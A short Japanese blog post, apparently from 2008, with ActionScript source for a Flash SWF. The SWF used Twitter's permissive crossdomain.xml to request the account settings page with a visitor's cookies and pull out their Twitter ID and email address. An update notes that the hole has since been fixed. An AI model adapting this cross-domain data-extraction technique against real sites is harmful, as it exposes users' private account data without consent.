ついったー足あとちょう

ついったーの ID とメールアドレスを抜き出すよ!

(追記)2008/3/9 18:00 crossdomain.xml が修正されて、抜き出せなくなったようです…。

ソースはこんなの!(61行)

package {
    import flash.display.Sprite;
    import flash.events.Event;
    import flash.text.*;
    import flash.net.*;

    [SWF(width="400", height="100", backgroundColor="#ffffff")]
    public class TwitterTracker extends Sprite {
        private var textField:TextField;
        
        public function TwitterTracker() {
            stage.scaleMode = "noScale";
            stage.align = "TL";

            var tf:TextFormat = new TextFormat();
            tf.size = 15;

            textField = new TextField();
            textField.wordWrap = true;
            textField.multiline = true;
            textField.defaultTextFormat = tf;

            textField.text = "loading...";
            textField.width = 400;
            addChild(textField);

            var loader:URLLoader = new URLLoader();
            loader.addEventListener(Event.COMPLETE, completeHandler);
            loader.addEventListener("ioError", errorHandler);
            loader.load(new URLRequest("http://twitter.com/account/settings"));
        }

        private function completeHandler(event:Event):void {
            var loader:URLLoader = URLLoader(event.target);
            var html:String = loader.data;
            if(html.indexOf('value="Sign In"') != -1) {
                // logged out
                textField.text = "ついったーにはログインしてないみたい。\nYou are not logged in to Twitter!!";
            }
            else {
                // login
                var idMatch:Array = html.match(/<input\s+id="user_screen_name"[^>+]+value="([^"]+)"/);
                var emailMatch:Array = html.match(/<input\s+id="user_email"[^>]+value="([^"]+)"/);

                if(idMatch && emailMatch) {
                    var id:String = idMatch[1];
                    var email:String = emailMatch[1];
                    textField.htmlText = "ついったーID は <font color='#ff0000'><b>" + id + "</b></font> だね。<br>"
                      + "E-mail は <font color='#008000'><b>" + email + "</b></font> だよね。";
                }
                else {
                    textField.text = "no match:" + idMatch + ":" + emailMatch;
                }
            }
        }

        private function errorHandler(event:Event):void {
            textField.text = "Error!!!: " + event.toString();
        }
    }
}

いちおう補足しておくと、Cookie を抜いたわけではなくて、Cookie つきで twitter.com に GET した結果の HTML をパースしてるだけだよ。crossdomain.xml はすごいね!

関連: AS で別ドメインの画像を読み込むときの注意点